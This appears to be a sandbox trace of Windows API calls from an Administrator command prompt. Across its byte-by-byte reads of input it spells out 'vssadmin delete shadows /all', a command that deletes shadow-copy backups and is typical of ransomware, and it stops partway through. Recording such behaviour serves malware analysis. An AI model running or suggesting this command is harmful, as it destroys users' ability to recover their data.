hHeap=0x370000, dwFlags=0x0, lpMem=0x38b2a0 | out: hHeap=0x370000) returned 1 [0185.380] GetEnvironmentStringsW () returned 0x38e870* [0185.380] GetProcessHeap () returned 0x370000 [0185.380] RtlAllocateHeap (HeapHandle=0x370000, Flags=0x8, Size=0xaea) returned 0x38f370 [0185.380] FreeEnvironmentStringsW (penv=0x38e870) returned 1 [0185.380] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0185.380] GetProcessHeap () returned 0x370000 [0185.380] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x38f370 | out: hHeap=0x370000) returned 1 [0185.380] GetEnvironmentStringsW () returned 0x38e870* [0185.380] GetProcessHeap () returned 0x370000 [0185.380] RtlAllocateHeap (HeapHandle=0x370000, Flags=0x8, Size=0xaea) returned 0x38f370 [0185.380] FreeEnvironmentStringsW (penv=0x38e870) returned 1 [0185.380] GetProcessHeap () returned 0x370000 [0185.380] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x388900 | out: hHeap=0x370000) returned 1 [0185.380] DeleteProcThreadAttributeList (in: lpAttributeList=0x22f2f8 | out: lpAttributeList=0x22f2f8) [0185.380] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0185.381] _get_osfhandle (_FileHandle=1) returned 0xf4 [0185.381] SetConsoleMode (hConsoleHandle=0xf4, dwMode=0x0) returned 0 [0185.381] _get_osfhandle (_FileHandle=1) returned 0xf4 [0185.381] GetConsoleMode (in: hConsoleHandle=0xf4, lpMode=0x4a28e194 | out: lpMode=0x4a28e194) returned 0 [0185.381] _get_osfhandle (_FileHandle=0) returned 0xe8 [0185.381] GetConsoleMode (in: hConsoleHandle=0xe8, lpMode=0x4a28e198 | out: lpMode=0x4a28e198) returned 0 [0185.381] GetConsoleOutputCP () returned 0x4e3 [0185.381] GetCPInfo (in: CodePage=0x4e3, lpCPInfo=0x4a29bfe0 | out: lpCPInfo=0x4a29bfe0) returned 1 [0185.382] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0185.382] GetProcessHeap () returned 0x370000 [0185.382] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x389d00 | out: hHeap=0x370000) returned 1 [0185.382] GetProcessHeap () returned 0x370000 [0185.382] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x389be0 | out: hHeap=0x370000) returned 1 [0185.382] GetProcessHeap () returned 0x370000 [0185.382] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x385b70 | out: hHeap=0x370000) returned 1 [0185.382] GetProcessHeap () returned 0x370000 [0185.382] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x38b240 | out: hHeap=0x370000) returned 1 [0185.382] GetProcessHeap () returned 0x370000 [0185.382] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x389880 | out: hHeap=0x370000) returned 1 [0185.382] GetProcessHeap () returned 0x370000 [0185.382] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x38aa10 | out: hHeap=0x370000) returned 1 [0185.382] GetProcessHeap () returned 0x370000 [0185.382] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x386510 | out: hHeap=0x370000) returned 1 [0185.382] GetProcessHeap () returned 0x370000 [0185.382] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x384610 | out: hHeap=0x370000) returned 1 [0185.382] GetProcessHeap () returned 0x370000 [0185.382] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x3897c0 | out: hHeap=0x370000) returned 1 [0185.382] _vsnwprintf (in: _Buffer=0x4a2a6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x22f758 | out: _Buffer="\r\n") returned 2 [0185.382] _get_osfhandle (_FileHandle=1) returned 0xf4 [0185.382] GetFileType (hFile=0xf4) returned 0x3 [0185.382] _get_osfhandle (_FileHandle=1) returned 0xf4 [0185.383] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a29c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0185.383] WriteFile (in: hFile=0xf4, lpBuffer=0x4a29c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x22f728, lpOverlapped=0x0 | out: lpBuffer=0x4a29c320*, lpNumberOfBytesWritten=0x22f728*=0x2, lpOverlapped=0x0) returned 1 [0185.383] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a28f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0185.383] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a29c0a0 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0185.383] _vsnwprintf (in: _Buffer=0x4a28eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x22f768 | out: _Buffer="C:\\Windows\\system32") returned 19 [0185.383] _vsnwprintf (in: _Buffer=0x4a28eb86, _BufferCount=0x3eb, _Format="%c", _ArgList=0x22f768 | out: _Buffer=">") returned 1 [0185.383] _get_osfhandle (_FileHandle=1) returned 0xf4 [0185.383] GetFileType (hFile=0xf4) returned 0x3 [0185.383] _get_osfhandle (_FileHandle=1) returned 0xf4 [0185.383] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="C:\\Windows\\system32>", cchWideChar=-1, lpMultiByteStr=0x4a29c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Windows\\system32>", lpUsedDefaultChar=0x0) returned 21 [0185.383] WriteFile (in: hFile=0xf4, lpBuffer=0x4a29c320*, nNumberOfBytesToWrite=0x14, lpNumberOfBytesWritten=0x22f758, lpOverlapped=0x0 | out: lpBuffer=0x4a29c320*, lpNumberOfBytesWritten=0x22f758*=0x14, lpOverlapped=0x0) returned 1 [0185.383] _get_osfhandle (_FileHandle=0) returned 0xe8 [0185.383] GetFileType (hFile=0xe8) returned 0x3 [0185.383] _get_osfhandle (_FileHandle=0) returned 0xe8 [0185.383] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.383] ReadFile (in: hFile=0xe8, lpBuffer=0x4a29c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x22fa58, lpOverlapped=0x0 | out: lpBuffer=0x4a29c320*, lpNumberOfBytesRead=0x22fa58*=0x1, lpOverlapped=0x0) returned 1 [0185.383] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a29c320, cbMultiByte=1, lpWideCharStr=0x4a29e320, cchWideChar=1 | out: lpWideCharStr="vode con cp select=1251\n") returned 1 [0185.383] _get_osfhandle (_FileHandle=0) returned 0xe8 [0185.383] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.383] ReadFile (in: hFile=0xe8, lpBuffer=0x4a29c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x22fa58, lpOverlapped=0x0 | out: lpBuffer=0x4a29c320*, lpNumberOfBytesRead=0x22fa58*=0x1, lpOverlapped=0x0) returned 1 [0185.383] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a29c320, cbMultiByte=1, lpWideCharStr=0x4a29e322, cchWideChar=1 | out: lpWideCharStr="sde con cp select=1251\n") returned 1 [0185.383] _get_osfhandle (_FileHandle=0) returned 0xe8 [0185.383] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.384] ReadFile (in: hFile=0xe8, lpBuffer=0x4a29c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x22fa58, lpOverlapped=0x0 | out: lpBuffer=0x4a29c320*, lpNumberOfBytesRead=0x22fa58*=0x1, lpOverlapped=0x0) returned 1 [0185.384] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a29c320, cbMultiByte=1, lpWideCharStr=0x4a29e324, cchWideChar=1 | out: lpWideCharStr="se con cp select=1251\n") returned 1 [0185.384] _get_osfhandle (_FileHandle=0) returned 0xe8 [0185.384] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.384] ReadFile (in: hFile=0xe8, lpBuffer=0x4a29c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x22fa58, lpOverlapped=0x0 | out: lpBuffer=0x4a29c320*, lpNumberOfBytesRead=0x22fa58*=0x1, lpOverlapped=0x0) returned 1 [0185.384] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a29c320, cbMultiByte=1, lpWideCharStr=0x4a29e326, cchWideChar=1 | out: lpWideCharStr="a con cp select=1251\n") returned 1 [0185.384] _get_osfhandle (_FileHandle=0) returned 0xe8 [0185.384] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.384] ReadFile (in: hFile=0xe8, lpBuffer=0x4a29c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x22fa58, lpOverlapped=0x0 | out: lpBuffer=0x4a29c320*, lpNumberOfBytesRead=0x22fa58*=0x1, lpOverlapped=0x0) returned 1 [0185.384] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a29c320, cbMultiByte=1, lpWideCharStr=0x4a29e328, cchWideChar=1 | out: lpWideCharStr="dcon cp select=1251\n") returned 1 [0185.384] _get_osfhandle (_FileHandle=0) returned 0xe8 [0185.384] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.384] ReadFile (in: hFile=0xe8, lpBuffer=0x4a29c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x22fa58, lpOverlapped=0x0 | out: lpBuffer=0x4a29c320*, lpNumberOfBytesRead=0x22fa58*=0x1, lpOverlapped=0x0) returned 1 [0185.384] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a29c320, cbMultiByte=1, lpWideCharStr=0x4a29e32a, cchWideChar=1 | out: lpWideCharStr="mon cp select=1251\n") returned 1 [0185.384] _get_osfhandle (_FileHandle=0) returned 0xe8 [0185.384] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.384] ReadFile (in: hFile=0xe8, lpBuffer=0x4a29c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x22fa58, lpOverlapped=0x0 | out: lpBuffer=0x4a29c320*, lpNumberOfBytesRead=0x22fa58*=0x1, lpOverlapped=0x0) returned 1 [0185.384] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a29c320, cbMultiByte=1, lpWideCharStr=0x4a29e32c, cchWideChar=1 | out: lpWideCharStr="in cp select=1251\n") returned 1 [0185.384] _get_osfhandle (_FileHandle=0) returned 0xe8 [0185.384] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.384] ReadFile (in: hFile=0xe8, lpBuffer=0x4a29c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x22fa58, lpOverlapped=0x0 | out: lpBuffer=0x4a29c320*, lpNumberOfBytesRead=0x22fa58*=0x1, lpOverlapped=0x0) returned 1 [0185.384] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a29c320, cbMultiByte=1, lpWideCharStr=0x4a29e32e, cchWideChar=1 | out: lpWideCharStr="n cp select=1251\n") returned 1 [0185.384] _get_osfhandle (_FileHandle=0) returned 0xe8 [0185.384] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.384] ReadFile (in: hFile=0xe8, lpBuffer=0x4a29c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x22fa58, lpOverlapped=0x0 | out: lpBuffer=0x4a29c320*, lpNumberOfBytesRead=0x22fa58*=0x1, lpOverlapped=0x0) returned 1 [0185.384] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a29c320, cbMultiByte=1, lpWideCharStr=0x4a29e330, cchWideChar=1 | out: lpWideCharStr=" cp select=1251\n") returned 1 [0185.384] _get_osfhandle (_FileHandle=0) returned 0xe8 [0185.384] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.385] ReadFile (in: hFile=0xe8, lpBuffer=0x4a29c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x22fa58, lpOverlapped=0x0 | out: lpBuffer=0x4a29c320*, lpNumberOfBytesRead=0x22fa58*=0x1, lpOverlapped=0x0) returned 1 [0185.385] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a29c320, cbMultiByte=1, lpWideCharStr=0x4a29e332, cchWideChar=1 | out: lpWideCharStr="dp select=1251\n") returned 1 [0185.385] _get_osfhandle (_FileHandle=0) returned 0xe8 [0185.385] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.385] ReadFile (in: hFile=0xe8, lpBuffer=0x4a29c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x22fa58, lpOverlapped=0x0 | out: lpBuffer=0x4a29c320*, lpNumberOfBytesRead=0x22fa58*=0x1, lpOverlapped=0x0) returned 1 [0185.385] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a29c320, cbMultiByte=1, lpWideCharStr=0x4a29e334, cchWideChar=1 | out: lpWideCharStr="e select=1251\n") returned 1 [0185.385] _get_osfhandle (_FileHandle=0) returned 0xe8 [0185.385] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.385] ReadFile (in: hFile=0xe8, lpBuffer=0x4a29c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x22fa58, lpOverlapped=0x0 | out: lpBuffer=0x4a29c320*, lpNumberOfBytesRead=0x22fa58*=0x1, lpOverlapped=0x0) returned 1 [0185.385] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a29c320, cbMultiByte=1, lpWideCharStr=0x4a29e336, cchWideChar=1 | out: lpWideCharStr="lselect=1251\n") returned 1 [0185.385] _get_osfhandle (_FileHandle=0) returned 0xe8 [0185.385] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.385] ReadFile (in: hFile=0xe8, lpBuffer=0x4a29c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x22fa58, lpOverlapped=0x0 | out: lpBuffer=0x4a29c320*, lpNumberOfBytesRead=0x22fa58*=0x1, lpOverlapped=0x0) returned 1 [0185.385] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a29c320, cbMultiByte=1, lpWideCharStr=0x4a29e338, cchWideChar=1 | out: lpWideCharStr="eelect=1251\n") returned 1 [0185.385] _get_osfhandle (_FileHandle=0) returned 0xe8 [0185.385] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.385] ReadFile (in: hFile=0xe8, lpBuffer=0x4a29c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x22fa58, lpOverlapped=0x0 | out: lpBuffer=0x4a29c320*, lpNumberOfBytesRead=0x22fa58*=0x1, lpOverlapped=0x0) returned 1 [0185.385] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a29c320, cbMultiByte=1, lpWideCharStr=0x4a29e33a, cchWideChar=1 | out: lpWideCharStr="tlect=1251\n") returned 1 [0185.385] _get_osfhandle (_FileHandle=0) returned 0xe8 [0185.385] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.385] ReadFile (in: hFile=0xe8, lpBuffer=0x4a29c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x22fa58, lpOverlapped=0x0 | out: lpBuffer=0x4a29c320*, lpNumberOfBytesRead=0x22fa58*=0x1, lpOverlapped=0x0) returned 1 [0185.385] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a29c320, cbMultiByte=1, lpWideCharStr=0x4a29e33c, cchWideChar=1 | out: lpWideCharStr="eect=1251\n") returned 1 [0185.385] _get_osfhandle (_FileHandle=0) returned 0xe8 [0185.385] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.385] ReadFile (in: hFile=0xe8, lpBuffer=0x4a29c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x22fa58, lpOverlapped=0x0 | out: lpBuffer=0x4a29c320*, lpNumberOfBytesRead=0x22fa58*=0x1, lpOverlapped=0x0) returned 1 [0185.385] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a29c320, cbMultiByte=1, lpWideCharStr=0x4a29e33e, cchWideChar=1 | out: lpWideCharStr=" ct=1251\n") returned 1 [0185.385] _get_osfhandle (_FileHandle=0) returned 0xe8 [0185.385] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.386] ReadFile (in: hFile=0xe8, lpBuffer=0x4a29c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x22fa58, lpOverlapped=0x0 | out: lpBuffer=0x4a29c320*, lpNumberOfBytesRead=0x22fa58*=0x1, lpOverlapped=0x0) returned 1 [0185.386] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a29c320, cbMultiByte=1, lpWideCharStr=0x4a29e340, cchWideChar=1 | out: lpWideCharStr="st=1251\n") returned 1 [0185.386] _get_osfhandle (_FileHandle=0) returned 0xe8 [0185.386] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.386] ReadFile (in: hFile=0xe8, lpBuffer=0x4a29c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x22fa58, lpOverlapped=0x0 | out: lpBuffer=0x4a29c320*, lpNumberOfBytesRead=0x22fa58*=0x1, lpOverlapped=0x0) returned 1 [0185.386] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a29c320, cbMultiByte=1, lpWideCharStr=0x4a29e342, cchWideChar=1 | out: lpWideCharStr="h=1251\n") returned 1 [0185.386] _get_osfhandle (_FileHandle=0) returned 0xe8 [0185.386] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.386] ReadFile (in: hFile=0xe8, lpBuffer=0x4a29c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x22fa58, lpOverlapped=0x0 | out: lpBuffer=0x4a29c320*, lpNumberOfBytesRead=0x22fa58*=0x1, lpOverlapped=0x0) returned 1 [0185.386] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a29c320, cbMultiByte=1, lpWideCharStr=0x4a29e344, cchWideChar=1 | out: lpWideCharStr="a1251\n") returned 1 [0185.386] _get_osfhandle (_FileHandle=0) returned 0xe8 [0185.386] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.386] ReadFile (in: hFile=0xe8, lpBuffer=0x4a29c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x22fa58, lpOverlapped=0x0 | out: lpBuffer=0x4a29c320*, lpNumberOfBytesRead=0x22fa58*=0x1, lpOverlapped=0x0) returned 1 [0185.386] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a29c320, cbMultiByte=1, lpWideCharStr=0x4a29e346, cchWideChar=1 | out: lpWideCharStr="d251\n") returned 1 [0185.386] _get_osfhandle (_FileHandle=0) returned 0xe8 [0185.386] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.386] ReadFile (in: hFile=0xe8, lpBuffer=0x4a29c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x22fa58, lpOverlapped=0x0 | out: lpBuffer=0x4a29c320*, lpNumberOfBytesRead=0x22fa58*=0x1, lpOverlapped=0x0) returned 1 [0185.386] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a29c320, cbMultiByte=1, lpWideCharStr=0x4a29e348, cchWideChar=1 | out: lpWideCharStr="o51\n") returned 1 [0185.386] _get_osfhandle (_FileHandle=0) returned 0xe8 [0185.386] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.386] ReadFile (in: hFile=0xe8, lpBuffer=0x4a29c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x22fa58, lpOverlapped=0x0 | out: lpBuffer=0x4a29c320*, lpNumberOfBytesRead=0x22fa58*=0x1, lpOverlapped=0x0) returned 1 [0185.386] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a29c320, cbMultiByte=1, lpWideCharStr=0x4a29e34a, cchWideChar=1 | out: lpWideCharStr="w1\n") returned 1 [0185.386] _get_osfhandle (_FileHandle=0) returned 0xe8 [0185.386] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.386] ReadFile (in: hFile=0xe8, lpBuffer=0x4a29c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x22fa58, lpOverlapped=0x0 | out: lpBuffer=0x4a29c320*, lpNumberOfBytesRead=0x22fa58*=0x1, lpOverlapped=0x0) returned 1 [0185.387] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a29c320, cbMultiByte=1, lpWideCharStr=0x4a29e34c, cchWideChar=1 | out: lpWideCharStr="s\n") returned 1 [0185.387] _get_osfhandle (_FileHandle=0) returned 0xe8 [0185.387] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.387] ReadFile (in: hFile=0xe8, lpBuffer=0x4a29c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x22fa58, lpOverlapped=0x0 | out: lpBuffer=0x4a29c320*, lpNumberOfBytesRead=0x22fa58*=0x1, lpOverlapped=0x0) returned 1 [0185.387] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a29c320, cbMultiByte=1, lpWideCharStr=0x4a29e34e, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0185.387] _get_osfhandle (_FileHandle=0) returned 0xe8 [0185.387] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.387] ReadFile (in: hFile=0xe8, lpBuffer=0x4a29c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x22fa58, lpOverlapped=0x0 | out: lpBuffer=0x4a29c320*, lpNumberOfBytesRead=0x22fa58*=0x1, lpOverlapped=0x0) returned 1 [0185.387] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a29c320, cbMultiByte=1, lpWideCharStr=0x4a29e350, cchWideChar=1 | out: lpWideCharStr="/") returned 1 [0185.387] _get_osfhandle (_FileHandle=0) returned 0xe8 [0185.387] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.387] ReadFile (in: hFile=0xe8, lpBuffer=0x4a29c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x22fa58, lpOverlapped=0x0 | out: lpBuffer=0x4a29c320*, lpNumberOfBytesRead=0x22fa58*=0x1, lpOverlapped=0x0) returned 1 [0185.387] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a29c320, cbMultiByte=1, lpWideCharStr=0x4a29e352, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0185.387] _get_osfhandle (_FileHandle=0) returned 0xe8 [0185.387] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.387] ReadFile (in: hFile=0xe8, lpBuffer=0x4a29c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x22fa58, lpOverlapped=0x0 | out: lpBuffer=0x4a29c320*, lpNumberOfBytesRead=0x22fa58*=0x1, lpOverlapped=0x0) returned 1 [0185.387] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a29c320, cbMultiByte=1, lpWideCharStr=0x4a29e354, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0185.387] _get_osfhandle (_FileHandle=0) returned 0xe8 [0185.387] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.387] ReadFile (in: hFile=0xe8, lpBuffer=0x4a29c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x22fa58, lpOverlapped=0x0 | out: lpBuffer=0x4a29c320*, lpNumberOfBytesRead=0x22fa58*=0x1, lpOverlapped=0x0) returned 1 [0185.387] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a29c320, cbMultiByte=1, lpWideCharStr=0x4a29e356, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0185.388] _get_osfhandle (_FileHandle=0) returned 0xe8 [0185.388] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.388] ReadFile (in: hFile=0xe8, lpBuffer=0x4a29c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x22fa58, lpOverlapped=0x0 | out: lpBuffer=0x4a29c320*, lpNumberOfBytesRead=0x22fa58*=0x1, lpOverlapped=0x0) returned 1 [0185.388] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a29c320, cbMultiByte=1, lpWideCharStr=0x4a29e358, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0185.388] _get_osfhandle (_FileHandle=0) returned 0xe8 [0185.388] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.388] ReadFile (in: hFile=0xe8, lpBuffer=0x4a29c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x22fa58, lpOverlapped=0x0 | out: lpBuffer=0x4a29c320*, lpNumberOfBytesRead=0x22fa58*=0x1, lpOverlapped=0x0) returned 1 [0185.388] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a29c320, cbMultiByte=1, lpWideCharStr=0x4a29e35a, cchWideChar=1 | out: lpWideCharStr="/") returned 1 [0185.388] _get_osfhandle (_FileHandle=0) returned 0xe8 [0185.388] SetFilePointer (in: hFile=0xe8, 